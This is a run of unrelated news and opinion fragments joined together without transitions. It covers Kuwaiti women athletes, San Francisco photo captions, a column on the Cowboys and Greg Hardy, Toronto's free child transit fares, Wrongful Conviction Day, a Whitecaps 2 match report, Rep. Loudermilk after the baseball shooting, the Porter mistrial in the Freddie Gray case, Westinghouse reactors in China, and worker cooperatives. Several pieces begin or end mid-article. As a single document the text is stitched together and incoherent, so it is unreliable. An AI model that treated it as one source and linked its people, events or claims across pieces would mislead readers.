Finally, when she was 17, her father asked Kuwait’s swimming federation whether his daughter could train in the Olympic-size pool with the men’s team. The federation complied. For her first appearance, Tarek accompanied her, his lone daughter among three athletic offspring whose sports participation the parents viewed equally.
“You could tell she looked nervous,” said Mohammed Madouh, a team member who had swum for Kuwait in the 2008 Olympics and for Arizona State. After all, it was a pool to which, simultaneous to the team’s training, parents brought small children to swim.
Said Madouh: “So you can see the parents from the distance looking at Faye like, ‘Oh my god, how can a girl train with boys?’ So we got that feeling. We saw that. I can understand it can be uncomfortable, but then the same parents that show up every single day, they saw that it’s normal. . . . It’s all about breaking the rule and then getting used to it, and then you’ll find it normal, and that’s it.”
On the first day, Madouh, then 25, walked over to the teen. He handed her a Kuwait swim cap. “Welcome to the team,” he said.
In May in Dubai, he said, “It’s an honor to have a female swimmer in Kuwait,” and, “I think I’m very lucky to witness that.”
Yet change has rumbled for a while. Madouh said that at the 2010 Asian Games in Guangzhou, China, as Sultan swam in a standard swimsuit for international competition, Madouh wearied of hearing Kuwaiti officials from various sports bemoan Sultan competing “in a bikini,” a word he found objectionable out of his respect for her dedication. At the 2014 Asian Games in Incheon, South Korea, Madouh heard no such whining. While Sultan studied and swam at Williams, her mother, Muna Al-Mousa, told her of seeing a Kuwait swim club advertising that parents should bring girls to learn to “swim like Faye.”
Said Tarek Sultan, “I think recently, certainly seeing Faye attend the Olympics, I think there’s been a real shift in people’s attitudes, and the number of women participating is off the charts.”
The Elite Swim Team in Kuwait, he notes, has 850 members, about 400 female. “Isn’t that something?” he wrote in a subsequent email.
Triathlete Najla Al Jeraiwi works out alongside Abigail Bartholomew during an early-morning session for the swimming portion of training at Corniche Swim Club in Kuwait City. Al Jeraiwi has worked to modify her swimwear in accordance with her conservative religion as she competes professionally. (Nikki Kahn/The Washington Post)
Closing the generational gap
Even now, though, the Al Jeraiwi sisters are on their third pool for training because others discontinued women’s hours. They know that one former Kuwaiti triathlete had to train in a lagoon near a construction site, with jellyfish and jet skiers, and that she no longer competes after marrying.
While driving from the cycling training session on the Friday evening, Nada Al Jeraiwi spoke of generations. The gap between her generation and her mother’s, she said, actually is smaller than the gap between her mother’s generation and her grandmother’s. Two generations back, she explained, women stayed entirely at home. Last generation, they began going off to university and going out with friends. With this generation, Al Jeraiwi said, they have mobile phones whereby parents can check on their safety.
She and her sister realize they’re at a forefront. They tell about how a Kuwait Olympic Committee executive, at a meeting in 2014, had no idea Kuwait even had female cyclists until Najla’s friend and fan Saleh Al Duwaisan stood and corrected him. “I said, ‘Yes!’ ” Al Duwaisan said. “I said, ‘This girl got lots of medals and nobody had an accident while she was cycling.’ ” Najla recalls that the executive “became supportive” and said, “Oh, that’s good.”
They have heard the occasional gossip about themselves. “For me, I heard some people were chatting about it behind my back,” Nada said. “But I wouldn’t care, because I’m telling you, the girl, she said that if her husband allows her to do that, she would do it, and she would do more.” Such negativity, she said, comes from “only maybe 5 percent.”
Nada’s husband, Osama Al Othman, figures his support of his wife’s athletic pursuits place him roughly in a 35 percent minority. “I think the old people reject it generally and the young people accept it,” he said. “But the strange thing is, the young people here in Kuwait, if they’re married, they reject it for their wives.”
He laughed slightly and said, “This is the strange thing I cannot understand.” He added, “Even to my friends, I am talking to them, [telling them] that my wife is participating, and I am posting her participation on the Instagram, Twitter, because I am very proud of my wife and I’m proud of what she’s doing and I don’t hide it anywhere.”
“In any situation in any incidence,” Najla Al Jeraiwi said, “there are some people who criticize you, about the way you dress, about what you’re doing, but in every side of the world. Doesn’t matter if you’re here or anywhere else. So just continue what you’re doing, and you’ll get shocked from the support you’ll get from the people.”
They’re hoping to get more children involved, with earlier starts in life. Najla does just that on a Saturday morning, bouncing around with her uncommon energy to oversee a kids’ mini-triathlon in her job organizing events at a seaside health club. Nowadays she gets questions from parents about nutrition, crucial for a region with a high rate of diabetes, as Tarek Sultan points out.
At 5 a.m. on Sunday, then, it’s quiet in the club parking lot. The first light of day has come. In close view are a mosque and a P.F. Chang’s. Into the parking lot comes an SUV, and out pops a 5-1 force of nature whose determination makes her “the perfect athlete every coach would like to train,” Beltran said.
Najla goes inside, readies, swims in the Kuwait cap she used at the Asian Games. Amid one drill, she churns, reaches the wall, pops up. Her coach, a Filipino woman named Chal Burns, reads out her time.
Najla smiles.
The Female Muslim Athlete
Image 2 of 15 Today, 1800 Market looks mostly the same, but the rainbow flags are symbols of today's SF. The building is now the LGBT Community Center. Photos: Google Street View Today, 1800 Market looks mostly the same, but the rainbow flags are symbols of today's SF. The building is now the LGBT Community Center. Photos: Google Street View
Image 3 of 15 24th and Shotwell in 1982. Photo: David Glass 24th and Shotwell in 1982. Photo: David Glass
Image 4 of 15 Today, this corner looks very much the same, down to the Pepsi sign. Photo: Street view Today, this corner looks very much the same, down to the Pepsi sign. Photo: Street view
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Image 6 of 15 Hayes and Fillmore, circa 1980. Photo: David Glass Hayes and Fillmore, circa 1980. Photo: David Glass
Image 7 of 15 Hayes and Fillmore now: the scene is familiar, still criss-crossed by MUNI lines. Photo: Street view Hayes and Fillmore now: the scene is familiar, still criss-crossed by MUNI lines. Photo: Street view
Image 8 of 15 Jack's Records in 1980. Photo: David Glass Jack's Records in 1980. Photo: David Glass
Image 9 of 15 Jack’s Records still exists on the corner of Scott and Page, however it is only open on Sundays according to Yelp and is known as “Jack’s Record Cellar." Photo: Street view Jack’s Records still exists on the corner of Scott and Page, however it is only open on Sundays according to Yelp and is known as “Jack’s Record Cellar." Photo: Street view
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Image 11 of 15 Oak and Buchanan, 30 years ago. Photo: David Glass Oak and Buchanan, 30 years ago. Photo: David Glass
Image 12 of 15 Today, a store still exists, though it no longer advertises itself as the Oakhill Market. Phone lines and street light remain intact. Photo: Street view Today, a store still exists, though it no longer advertises itself as the Oakhill Market. Phone lines and street light remain intact. Photo: Street view
Image 13 of 15 Page St., in the Western Addition in 1969. Photo: David Glass Page St., in the Western Addition in 1969. Photo: David Glass
The chatter about Hardy’s future began almost immediately, analysts assessing the needs of teams around the league and how he could meet them. With the Cowboys in desperate need of a pass rusher, it was not too long before Dallas was on the short list of where Hardy could land.
I’ve been thinking about this all week and here’s where I land on the issue: if the Cowboys choose to sign Greg Hardy, I will quit this team.
As a female football fan, I am often asked how I can champion the sport. The 2014 season made it even more difficult to come up with answers that felt altogether satisfying even to myself. Domestic violence is pretty high on the list of the issues that are not easy to talk about, and the NFL and league owners have historically reacted in a completely tone deaf manner on this issues.
I’m pretty sure no one would posit that Roger Goodell and his team made anyone proud with their response to the Ray Rice situation. I am being honest when I say that I’m not convinced that a player should be cut from the sport entirely if he is accused or convicted of these crimes. What I am convinced of here is that as fans, this is something we need to take seriously.
Last August, Ryan Glasspiegel over at TheBigLead.com wrote a column examining how and why the media maelstrom seemed to be solely focused on Rice. The whole thing is a worthy read, but perhaps the most salient point as a female fan was this:
“With regards to Ray Rice, the NFL was clearly caught off-guard by the seismic shift in our perceptions. As of yet, it’s unclear whether the outrage of this past week represents a blip, or the beginning of a trend.”
I would argue that it shouldn’t be seen as a trend at all. It should just be seen as the correct culture shift to the way it’s supposed to be and how the league decides to handle Greg Hardy is what we should to be paying the most attention to now.
I am cognizant that I have no idea what happened behind closed doors, nor do I know what he has said or done in private since then. But Hardy’s public actions since his arrest, conviction, appeal, deactivation and voluntary leave of absence don’t feel like someone who is taking time to assess his issues and get his life in order.
Maybe it’s that he seemed more intent on reigniting his rap career than seeking outside help for the issues that seem to be synonymous with his name. Maybe it’s his lack of contrition beyond feeling badly about ‘distracting his teammates.’
Some might contend that the off the field issues the Cowboys organization have dealt with make this a non-issue. But for an organization that has taken the creation of culture and investment in the ‘Right Kind of Guys’ as seriously as they have under head coach Jason Garrett’s tenure, I’d say this is about two dozen red flags too many.
Let’s also be honest, most of this speculation is just that and it’s just as likely to not even be something the Cowboys are even considering. Moreover, we cannot forget that this is an organization that is home to one of the most powerful females in football.
Charlotte Jones Anderson is not only responsible for the maintenance of the Cowboys brand, but it’s widely recognized that she’s expanded the female fan base of the organization, which has been instrumental to it’s continued success. She might not be in charge of player personnel, but I am willing to bet that if she has an opinion on how the public perception of a player might impact those entities, she’d voice it.
I recognize that players are humans – just like they are not always going to perform perfectly on the field, they will not always be perfect off it. But for a group of young men who are blessed enough to play a sport they presumable love FOR THEIR JOB, I think we need to have pretty high expectations for the type of character we expect them to exhibit. And when they don’t meet those, they need to be held accountable, both by their league and the people they represent: their fans.
How awesome is that? People were going to be stoked. I just knew it. I could hardly wait to jump onto Twitter and see all the buzz.
Good point, I guess providing services to your citizens is pandering. I never thought of it that way before.
Me too! WAIT A SECOND… do I sense a touch of sarcasm there? Good thing we force them to go to school most of the time or goodness knows where kids might turn up.
Lemme do my best this guy impression: Are you giving CHILDREN free rides on the SUBWAY?! That’s it, I’m out of here. Cannot deal.
Well, that’s just mean.
Another guy insisted that his four children don’t have to ride for free and everybody else shouldn’t have to be subsidizing them. Well, good for you. I’m glad you can fork over the kiddie fare for the one time a year you take the subway to the Santa Claus Parade. I know single moms who take the TTC halfway across the city every single day to bring their children to daycare that say otherwise.
Finally, one guy just wanted to know where he could get a fake ID that says he’s 12. Now THAT is the spirit.
But, really, do people not know that it’s public transportation? Their overarching concern is that there will be an unjust increase in the number of children riding the TTC? It’s the bus, dude. It’s basically your bottom line last resort, let’s be honest. You don’t get to complain about who is riding on the bus with you. And kids should be the least of your concerns when you’re wedged between Mr. B.O. and Ms. Tuberculosis anyway. Good thing you don’t have a seven-year-old boy reading a comic book next to you.
And since I obviously need to make a serious defense of the policy, let’s remember that the people who are overwhelmingly going to benefit from having kids ride free are the people who need it most. As I’ve written before, nobody wants to take their kids on the TTC during rush hour. Nobody, never, nowhere, no-how. So the people who are travelling back and forth on public transit with children in tow everyday are doing it because they don’t have a choice. Most of these people are parents bringing their children to and from daycare or school so they can go to work. Many of them are single mothers.
The vast majority of parents, however, don’t travel with their kids on the TTC everyday. They either drive their kids where they need to go, walk them there or put them on school buses (that you are paying for with your tax dollars, suckers!) Families like this—families like mine—do have a choice. And you know what we often choose? We choose to drive—even when we really don’t want to. The TTC runs under capacity during off-peak hours and it would be a pleasant enough trip to visit the ROM, the AGO, Chinatown, Kensington Market, the Eaton Centre, “dad at work,” the ferry docks, the CNE and on and on and on. But then we calculate the return fare times five and realize we may as well just drive and pay through the nose for parking. It’s no more expensive.
But not anymore! This is a game changer. Now that the kids ride free, it makes sense for us to buy a transferable Metropass every month so Ed can use it to commute to work and either of us can use it during evenings or weekends with or without the kids. Which means, when we take a family outing downtown, it will only cost us one return fare to take transit, not five. That’s one more fare than the TTC was making off of us before.
It’s a reasonable, humane policy for a large, metropolitan city which is probably why cities like London and New York also offer kids a free pass. It will also help foster a culture of public transit and, boy, do we need that, if we ever want traffic to move in this city again.
I don’t pretend that my weekend TTC trips with the fam are going to make up for the lost revenue from regular child riders. But I do know that is only one small part of what the 10 cent increase is paying for. It’s also paying for new express routes (that probably won’t benefit me) and more frequent service (that I luckily don’t need) and 11 new all-night bus lines that I would have killed for back in the day, but I can pretty much guarantee won’t have many children riding on them.
The TTC is radically underfunded by the federal and provincial governments and it has been for a long time. I wish we didn’t have to increase fares to make the system better for everyone, but I am definitely not going to apologize for the break that poor families across the city are getting in return.
The purpose of Wrongful Conviction Day is to set aside a day to focus on and discuss the causes and remedies concerning wrongful convictions, an issue that affects and devastates individuals, families and societies worldwide. In recognition of the day, innocence groups from around the world will hold events and host a range of activities to raise awareness about the many cases of people who have been convicted of crimes they did not commit.
According to AIDWYC, since 1992, there have been 1,623 recorded exonerations in the United States; 330 were driven by post-conviction DNA evidence. Already in 2015, 52 people in the United States have been exonerated of crimes they didn’t commit, says AIDWYC.
If you would like to raise your voice in recognition of Wrongful Conviction Day, go to
http://www.innocenceproject.org/get-involved/i-stand-for-innocence
, where you can take a stand for innocence. From that page, you’ll find tweets and images that you can share on social media.
To learn more about Wrongful Conviction Day, go to:
www.wrongfulconvictionday.com
After a slow start, that saw the Clan take a 17th minute lead, the ‘Caps found their groove on a sodden pitch and took command of the game, with striker Mackenzie Pridham leading the way.
Pridham, a 2013 MLS SuperDraft pick for Vancouver, was on fire, grabbing four goals (one header, one tap in and two crackers) in a 22 minute period between the 30th and 52nd minutes to set up the win. Centre back Craig Nitti added a fifth with a close range header in the 85th minute to round off the scoring and give WFC2 a very comfortable win in the end.
It was a hardworking team performance, with some hiccups along the way, but it was Pridham who stole the show, putting in a confident display that bodes well for the season to come.
“It’s not the first time,” Pridham told AFTN after the match when we asked him if he’d scored four goals in a game before. “I’ve had a few multiple goal games in my career but first time as a pro.”
Pridham’s performance was the kind of explosive display the Whitecaps were hoping for from the 24-year-old Canadian when they made him the first selection in the fourth round of last year’s draft.
But it’s only now that the ‘Caps are able to get a proper look at the striker, after an ankle injury picked up at the combine sidelined him for longer than either party had hoped.
“I thought I was going to be able to be back in time to show with the Whitecaps, but unfortunately I wasn’t,” Pridham told us. “I ended up taking a different path and signing with Minnesota United and spent the year with them. Then when I heard about the Whitecaps creating the USL team and it being a possibility as an option, I definitely wanted to try and pursue it.
“It was good that it worked out for me because I think the club wants me and I want to be here, so it’s a good win-win relationship.”
Pridham has been a prolific scorer at high school and college level, and became the all-time leading scorer at Cal Poly, picking up back to back Big West Offensive Player of the Year awards in 2012 and 2013 in the process.
He was tipped to go as high as 12th in some of last year’s mock draft and Carl Robinson admitted that he was surprised to pick him up at what was 58th overall. When we spoke with him last February, Pridham was keen to show the Whitecaps what he could offer them and the way last season panned out, a goalscorer was just what the ‘Caps were needing.
But the year away from Vancouver may actually prove to be the most beneficial thing that could have happened for both the player and the Whitecaps.
When the rehab of his ankle was complete, Pridham signed with NASL side, and soon to be MLS side it would appear, Minnesota United. With a strong and experienced Minnesota side winning the NASL Spring Season Championship, Pridham got a fantastic grounding in the pro game and invaluable experience to now bring with him to WFC2.
“My time at Minnesota, I was able to learn a lot,” Pridham told us. “It’s a very professional set up and the players that were there were a lot of veteran players. All guys that had finished their careers playing in MLS, guys that had played in Europe, a lot of Brazilians, so our squad was filled with all older veterans that had been in and out of big leagues.
“So me coming in as a young guy, every single day at training and the whole environment, I was being pushed. I was going against the best defenders I’ve ever gone against and they pushed me and my game and my day to day efforts and knowledge and how to conduct myself. So from that standpoint, it definitely helped the progression of my career. I guess I just need the opportunity to get the minutes I need to be able to produce the goals I know I can produce.”
And that was the only problem for Pridham at Minnesota. With the wealth of experience ahead of him and the success the team were having, he found it difficult to break into the team, making only two appearances for United, one in the league and one in the US Open Cup, before being loaned out to USL PRO side Pittsburgh Riverhounds in the summer in order to get him some regular playing time.
With six appearances and one goal for Pittsburgh, the loan deal got Pridham back playing regularly again but it’s also given him a good understanding as to the quality in USL and what the Whitecaps need to do to be successful in the league this season.
How successful is still anyone’s guess right now. The WFC2 squad haven’t even been together a month yet, so the guys are still trying to be familiar with each other both on and off the pitch. But it’s coming, as their last two preseason outings have shown. They’re starting to look like a team starting to gel and look like a cohesive and dangerous attacking unit, with a strong defensive side. They’re also showing a lot of depth, with most of the MLS players missing from the line-up for the comprehensive SFU win.
It’ll take time for the team to truly find their feet and their groove, but Pridham has been impressed by the constant improvement he’s been seeing.
“It’s a first time team, so a lot of these guys, some of them have played together, but all in the all the whole group is still building it’s chemistry and camaraderie, both on and off the field. I think in the last three or four weeks, it’s really built. The link up play and team chemistry is slowly building and developing and you can see that in our performances.
“Beating Seattle last weekend 4-3, we had a great group effort and then today we had another good group effort, so the boys are putting it in, day in and day out, so it’s not a quick race it’s a marathon. The season is very long and we have depth, so we’ll learn and slowly develop it each day.”
The squad have one more preseason game lined up before the USL season gets underway. NCAA Division 1 side Oregon State Beavers head north to take on the ‘Caps at SFU on Sunday morning, with a 10am kick off.
With competition for places continuing to increase, it’s delighting coach Alan Koch. Everyone in the squad wants to be part of that first game, but whoever does end up taking the field, Pridham says they’ll be ready to compete from the first kick off.
“We got the guys from the first team, we’ve got the USL guys, and we’ve slowly gelled within this three or four week time,” he said. “Quicker than what normally would happen. We’ll only be able to develop that relationship even more and I know that our coaching staff will be able to put together a good squad to represent Whitecaps 2 and be ready for that game against Seattle and the rest of the season.”
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Loudermilk, a Republican from Cassville who represents Georgia’s 11th District, told WABE what went through his head as he took cover.
“It’s a feeling of vulnerability when you’re in that position and you have no way to defend yourself against somebody who has a rifle and eventually I saw somebody come around the side of the building with a handgun,” Loudermilk said.
Rep. Steve Scalise of Louisiana, the House Majority Whip, was critically wounded in the shooting, which injured five other people. The gunman, identified as James T. Hodgkinson, was shot by police and died at a hospital.
Loudermilk said he holds a Georgia concealed carry permit “for a reason” and believes fewer people would have been injured in his home state.
“I just lived through an incident where I was being shot at and I had no way to shoot back, and if this would have been in Georgia, it probably would have been a different story,” said Loudermilk.
The shooting took place in Virginia, which allows people to carry guns openly, and allows concealed carry with a valid permit. Loudermilk said there’s a need to look into firearms reciprocity laws with Georgia. The congressman also criticized Washington D.C.’s stricter gun control measures.
“Being here in Washington D.C. its against the law to have a handgun. Even though it’s legal in Virginia, my apartment here is in Washington,” he said.
He also said it may be time to look at increasing security details for more than just top members of Congress.
“He was targeting us. There were civilians out there, people walking their dogs in this park. They were laying on the ground with their dogs. He wasn’t shooting at them. He was targeting anybody in the baseball attire,” said Loudermilk.
Loudermilk said he thinks the tone of the public debate over the future of health care in particular is putting lawmakers in danger. He said the shooting is an example of why members of Congress have been declining to hold traditional town halls.
“I’ve had people back in the district that actually say I’m killing them because I voted to fix a broken health care system,” said Loudermilk, who said many of his fellow lawmakers hear similar messages.
He said it’s becoming increasingly difficult to tell who’s just emotional and who’s “emotionally deranged.” The congressman said both his own security team and local law enforcement have expressed concerns about violence at town halls.
He says there are better and more effective ways, pointing to Facebook live events and teleconferences, to engage with voters than mass gatherings. Loudermilk said he recently met with members of the progressive Indivisible movement while in Georgia.
The decision, which came a day after jurors told Baltimore Circuit Judge Barry Williams they were deadlocked, frustrated activists who had watched the first trial in Gray's death closely. Outside the downtown courtroom, city officials and community leaders pleaded for calm, and authorities reported two arrests, but no violence or serious disruptions.
Porter, 26, the first of six police officers to be tried in Gray's death, remains charged with involuntary manslaughter, second-degree assault, reckless endangerment and misconduct in office. Gray, 25, died in April after suffering a severe spinal cord injury in the back of a police van.
Jurors deliberated for three days before Williams declared the mistrial. The decision now throws the other trials into flux.
Prosecutors chose to try Porter first, planning to use him as a witness at the trial of Officer Caesar Goodson. Goodson, who is charged with second-degree murder, was slated for trial in the first week of January.
After the mistrial, attorneys were to meet with Williams Thursday about scheduling a new trial for Porter.
Gray's family said they were hopeful prosecutors would retry Porter. Gray's stepfather, Richard Shipley, said jurors "did the best that they could," while Gray's twin sister, Fredericka, joined protesters.
The Gray family's attorney said, "This saga is not over."
"This hung jury does not mean it's the end of Officer Porter's case," attorney Billy Murphy said. "It's just a bump on the road to justice. And you know the road to justice has a lot of bumps."
Porter, reached by phone Wednesday evening, said, "It's not over yet." Then he politely ended the conversation.
Mayor Stephanie Rawlings-Blake asked residents to respect the legal process and to keep protests peaceful.
"All of us, if we believe in justice, must have respect for the outcome of the judicial process," Rawlings-Blake said. "Twelve Baltimore City residents answered the solemn call to serve. They listened to the evidence presented and they rendered a decision."
At Gilmor Homes, where Gray was arrested, Jazmin Hollaway, 20, sat crossed-legged on the ground in front of a mural of Gray.
"I'm stunned. I'm speechless," she said. "When are we going to get justice?"
As night fell over the intersection of Pennsylvania and North avenues — the center of the riots that shook the city in April — a line of people a block long linked arms to urge against a repeat.
"One city! One purpose!" they chanted, and "Whose city? Our city!"
Gray's death in police custody was the latest in a series to draw national attention and protests against police brutality. Cellphone video showed Gray wailing, and his legs dragging, as he was loaded into the van.
At trial, prosecutors accused Porter not of brutality but indifference, saying he "callously" failed to take simple steps required by Police Department rules — securing Gray with a seat belt and getting him medical attention when he asked — that could have saved his life.
During closing arguments, Deputy Chief State's Attorney Janice Bledsoe held up a seat belt and clicked it for jurors.
"That's all it would have taken," she said.
Porter's attorneys said the West Baltimore native was a good cop who tried to help Gray but didn't realize the extent of his injuries. They said prosecutors and the state medical examiner who performed Gray's autopsy could only theorize how and when Gray's injuries occurred.
"The state is asking you to make a judgment based on speculation and conjecture," defense attorney Joseph Murtha told jurors in his closing argument.
Porter took the stand to defend himself. He said he knew Gray, and the two had a "mutual respect."
It was Porter who found Gray unresponsive in the back of the van.
"It was a very traumatic thing for me also," Porter testified. "Just seeing him in the neighborhood every day, and calling his name and not getting a response."
Chief Deputy State's Attorney Michael Schatzow was incredulous at Porter's explanations for not doing more. He told the jury said Porter had "lied" to them about his account and suggested there had been a "coverup."
Porter was not one of the officers who arrested Gray or who loaded him into the van on his belly with his hands and feet shackled. But prosecutors said he was called to check on Gray, and should have put him into a seat belt, and when Gray said he needed to go to the hospital, should have called for a medic.
Porter's attorneys countered that he notified Goodson, who was driving the van, and a supervisor that Gray needed a medic. They called police training experts to testify that he had done what was required of him.
Defense attorneys for all of the officers charged in the case lobbied aggressively in pretrial hearings to have the trials moved to another jurisdiction. They argued that potential jurors in Baltimore had been saturated with news coverage of Gray's death, the protests and the officers, and would be unable to render an unbiased verdict.
Williams, a former city prosecutor who also once handled police misconduct cases for the Justice Department, said Baltimoreans deserved the chance to hear the cases. The sides chose a jury of 12 with four alternates in little more than two days.
The jury included five black women, three black men, three white women, and one white man. One of the black female jurors became ill during the trial, and was replaced by a white male alternate.
Jurors began deliberating Monday afternoon. They asked several questions and requested transcripts.
It is rare to file criminal charges against officers for failing to act, legal analysts have said. In order to find Porter guilty of manslaughter, Williams told jurors, they would have to find Porter acted in a "grossly negligent manner" and that his conduct was a "gross departure" from what a "reasonable police officer" in a similar situation would do.
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Westinghouse CEO Danny Roderick said Chinese officials visiting the Pennsylvania company last week made clear that they intend to move forward with the plants when the first AP1000s approach completion by the end of next year. He also told the Pittsburgh Post-Gazette the Chinese government is eager to accelerate reactor construction as part of efforts to reduce reliance on coal.
Westinghouse is already in negotiations to build eight additional AP1000s at coastal sites. Approvals for all inland plants were suspended until 2015 during an overhaul of China's nuclear regulatory system following the 2011 Fukushima Daiichi accidents in Japan. Earlier energy plans had envisioned at least 30 additional AP1000s would follow construction of the initial slate of coastal plants, according to the World Nuclear Association. Though Westinghouse emphasized talks remain preliminary, they suggest China is ready to resume planning for large-scale deployment of the AP1000 technology at sites around the country.
This reality is becoming more apparent to working class folks as they desperately claw at any semblance of economic security like frightened animals while they slowly realize that unfettered capitalism cannot solve all the world’s problems, and that it has “not helped working families,” according to Labour is Not a Commodity, a blog administered by four organizations focused on international labour issues.
As the economies of previously wealthy European countries collapse one after the other like dominoes, a radical component is budding across the globe with the strength and vitality of the anti-war demonstrations and civil-rights clashes of the ‘60s and ‘70s, with the exception that today we also have technology on our side. I could easily picture some angry old general somewhere in the Pentagon, frantically pegging little red dots on an enormous world map plastered on a wall, highlighting all the countries where the Occupy Movement has ‘infiltrated’, starting with the United States of America itself.
But that old fear-mongering about “communists coming to take your kids away” just doesn’t fly anymore. Ethan Earle agreed. “Socialism isn’t a boogie-man anymore,” he said. He’s a young thirty-something living in New York. He is also the Director of the U.S. branch of The Working World, a micro-credit firm created by Brendan Martin in 2004, an ex-Wall-Streeter that dropped the high-powered life of Bears and Bulls after being inspired by Naomi Klein and Avi Lewis’ movie called La Toma, which depicts the rise of the cooperative movement in that country.
Hazel Corcoran, the Executive Director of the Canadian Worker Cooperative Federation (CWCF) – a “federation of worker co-ops across the country providing trade association functions like lobbying and conferencing, as well as support for the development of new worker cooperatives in Canada” – furthermore suggested that information is power as we chatted on the phone. She spoke hurriedly and excitedly, with a slight lilt, possibly because she was also packing for a trip, but it was obvious she was infatuated with her work.
“You look at the Occupy Movement and…other social movements out there and it feels that it’s a time when people are looking for an alternative way to organize business, society and the economy,” she beamed.
Indeed. The capitalist system’s biggest threat today is not the political left – represented one way or another in the Movements. Rather, it is the angry mob of educated and disillusioned young people who have taken to the streets to voice the roaring discontent of the middle- and working-classes.
Judith Lipp is the Executive Director of the Toronto Renewable Energy Cooperative (TREC), which was created in 1998 by a group of volunteers in order to create a community-owned wind energy project in Toronto. Today, it is a leader in the Renewable Energy Sector.
She voiced a similar perspective except with a hint of pessimism when she told me, in a soft-spoken tone, that she thinks that although people may be looking “to align their values in various ways to participate in society…at the same time a large segment of the population is focused on status and money, and has lost touch with what their values are and any kind of long-term thinking.” She in fact doubts that “we’re close to breaking that cycle.”
But there is something very interesting about the three people I’ve mentioned: they all work directly with a new business-model that challenges the old and tired notion that workers must be led by bosses at the helm.
Let’s face it, who hasn’t had that nauseating job where you had to deal with a belligerent, drunk-on-power fool of a boss who liked to find fault with everything you did while watching over your shoulder like a disease-ridden vulture? Well, I know I have. The worst part is that this is the best of cases: where in order to get fully paid all you had to do is eat a little shit.
In other cases, the tendons in both your shoulders and elbows snap like worn elastic bands, sending you to the surgery room, caused by the repetitiveness and physical strain that comes with five years of unloading trucks, just to be given the boot when “management upstairs” claims that they can’t find any other job suitable to your doctored-prescribed limitations because of your lack of English, which at the factory floor, many minorities will agree, never matters.
Ladies and Gentlemen, I give you: The System!
But hope, as some famous poet once said, springs eternal. Two-thousand-and-twelve has been declared by the United Nations as the International Year of Cooperatives (IYC), which has been “positive for the [cooperative] sector” in Canada, where the movement has really begun to “[wake] up,” said Corcoran.
THE COOPERATIVE MOVEMENT IN ARGENTINA
Since 1995, the owners of the Brukman Suit Factory in Argentina had begun to slash salaries unscrupulously, and eventually ended up firing about half of their labour force. By 2001, with business through the ground, they just decided to abandon the factory and leave the workers unpaid.
Seeing joblessness as an opportunity to band together, a group of 58 seamstresses bravely decided to walk into their factory and, like God did unto Adam, breathed life back into it. As they went along, the seamstresses also grasped how to perform administrative, accounting and managerial duties of a company.
In order to tell this and many other similarly heroic stories that were bourgeoning in the aftermath of the economic collapse in Argentina at the turn of the century, Naomi Klein and Avi Lewis released La Toma (The Take) in 2004. The movie follows a group of Argentinian workers trying to legally obtain their abandoned factory at the same time that it depicts the rise of the Recovered Factory Movement in that country. Their story is not dissimilar to what many countries in Latin America and others around the world associated with the International Monetary Fund (IMF), have had to muddle through.
At the cusp of the new millennium, as Argentinian President Carlos Menem welcomed the new year with a lavish party and champagne – the same political thug who just before the 2003 re-elections would be on House Arrest on Corruption Charges – IMF Managing Director Michel Camdessus lauded that Argentina was indeed in a way to enter the “new century in a very, very solid basis.”
However, outside of those lavish parties, while the glasses still clinked, the country was slipping below the poverty line due to “business friendly” policies that would come to be known as “El Modelo,” characterized by massive downsizing, corporate hand-outs and the sale of public assets to private companies.
As rumours of an economic bust due to corporate failures spread like wildfire in the troubled nation, the currency began to drop quickly. Quite literally overnight, the wealthiest took out $40 billion dollars’ worth of Argentinian pesos out of banks in huge armoured trucks to send to offshore bank-accounts. Thrown into a grand panic, the government froze all accounts, in effect locking the working-class out of their savings while allowing the rich and the factory owners to hoist their money offshore. The people were left with nothing but an inept government, a crumbling economy and closed factories, which unleashed an epidemic of unemployment.
Suddenly, Argentina, one of the most prosperous countries in Latin America, plunged into poverty. But as tradition has it in Latin America, the only logical response to extreme poverty was to PROTEST!
Millions of people of all ages and backgrounds poured onto the streets with the force of a tsunami, all in angry solidarity over the government’s support of the counteractive IMF policies. In utter political and economic disarray, Argentina ended up declaring the “largest sovereign-debt default in world history” in 2002, a symbol, the movie says, of the widespread rejection by the people of the entire economic model itself, and not just of one politician or policy. Though years later, it’s been argued that that sentiment is exactly what the Occupy Movement is currently expressing.
A MORE PERSONAL MODEL FOR BUSINESS
Working class people exist in huge numbers in the Global North – people that have been screwed by management one way or another.
The purpose of the International Year for Cooperatives is to bring to the forefront something that has been working quietly and efficiently for longer than people know. Indeed, the cooperative business model has time and time again presented both economic and social advantages to those societies that have adopted it.
“On a very basic level,” Earle said, “co-ops give people an opportunity to be the protagonist in their own jobs, in their own life-stories.”
Corcoran agrees.
“I think one of the reasons why co-ops are so powerful is [precisely] because people spend so much more of their lives and energy and focus as workers rather than as consumers, making work a really big part of their lives.”
When you join a co-operative, the main attraction is its democratic nature.
Worker-cooperatives like Big Carrot, for instance, where they have something like 70 staff members, Corcoran explained, “have something like 50 or 60 worker-owners.”
What this means is that the people that work at the store also own it: “the principle that the members in control are the same member-group that shares the profits and that same member-group that decides on who the board members are,” Corcoran said.
General meetings for all members are periodically held at the discretion of each cooperative and it is at these meetings where they decide on all decisions based on a one-member-one-vote principle. The main principle by which cooperatives abide is solidarity and cooperation, both internally and externally, so when it comes to wages, cooperatives provide every employee with sufficient pay to live a decent life.
In Argentina, many factories have opted to pay all employees equal salaries, a decision made at a general meeting and by a democratic vote inclusive of all members. In other places, such as in Italy and Spain, two countries where the cooperative movement has solidified itself and shown blatant progress in the lives of all employees and the communities in which they operate, salaries are not always equal, although always equitable.
In Emilia-Romagna, for instance, one of the largest regions in Italy located at the North of the European Boot, the Cooperative Movement has helped the average per capita income to climb to 21,025 Euros, well above the national average of 16,315.
More importantly, despite a global trend, unemployment has continued to drop in parts of the world where cooperatives are the dominant part of the economy such as in both Emilia-Romagna and in the Basque Region of Spain where Mondragon operates (a Corporation/Federation of over 256 cooperatives employing over 83,000 workers).
“Spain has an economy in a complete and utter mess!” Corcoran exclaimed jubilantly. “And Mondragon is there, still struggling, because their sales are being challenged and so on, but they don’t have any unemployment! They just share the pains; everyone gets paid a little less and maybe gets less hours, but no one is thrown out!”
Similarly, in an essay by John Logue, Founder and Director of the Ohio Employee Ownership Center (OEOC) until his unfortunate death in 2009, it was found that in Emilia-Romagna, unemployment was at an “enviable 3% among the 10 richest of the European Union’s 122 regions.” As of 2011 it has climbed to 6%, which is still quite low. The region also remains the fourth largest Italian Exporter, and up to 30% of the region’s GDP comes from co-ops.
